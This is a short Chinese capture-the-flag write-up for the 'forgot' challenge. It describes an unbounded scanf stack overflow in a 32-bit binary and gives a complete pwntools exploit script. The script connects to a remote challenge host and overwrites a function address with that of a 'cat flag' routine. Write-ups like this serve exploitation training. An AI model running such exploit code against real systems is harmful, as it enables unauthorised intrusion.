攻防世界2

forgot

发现是32位文件

fgets(s, 32, stdin)限制读入32位字符,无法利用

__isoc99_scanf("%s", v2) 典型的栈溢出

发现cat flag

覆盖v2-v3,覆盖为cat flag的函数地址

exp:

python 复制代码
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io = remote('61.147.171.105','56662')
door = 0x80486CC
io.recvuntil(b'>')
payload = b'aaaa'
io.sendline(payload)
io.recvuntil(b'>')
padding = b'a'*(0x74-0x54+0x4)
payload1 = padding + p32(door)
io.sendline(payload1)
io.interactive()
相关推荐
学嵌入式的小杨同学6 小时前
从零打造 Linux 终端 MP3 播放器!用 C 语言实现音乐自由
linux·c语言·开发语言·前端·vscode·ci/cd·vim
EverydayJoy^v^6 小时前
RH134学习进程——十二.运行容器(1)
linux·运维·容器
syseptember6 小时前
Linux网络基础
linux·网络·arm开发
b***25116 小时前
电池组PACK自动化生产线的关键流程与核心优势
运维·自动化
zl_dfq6 小时前
Linux 之 【多线程】(线程的概念、Linux中的线程、页表)
linux
郝亚军7 小时前
如何在Ubuntu和win10/11之间通过samba访问对方的文件
linux·服务器·ubuntu
曦云沐7 小时前
【避坑指南】Ubuntu更新报错“Repository is not signed”的快速修复
linux·ubuntu·docker
哲伦贼稳妥8 小时前
职场发展-遇到以下情况请直接准备后手吧
运维·经验分享·其他·职场和发展
带土18 小时前
10. .out文件
linux
Exquisite.8 小时前
企业高性能web服务器(4)
运维·服务器·前端·网络·mysql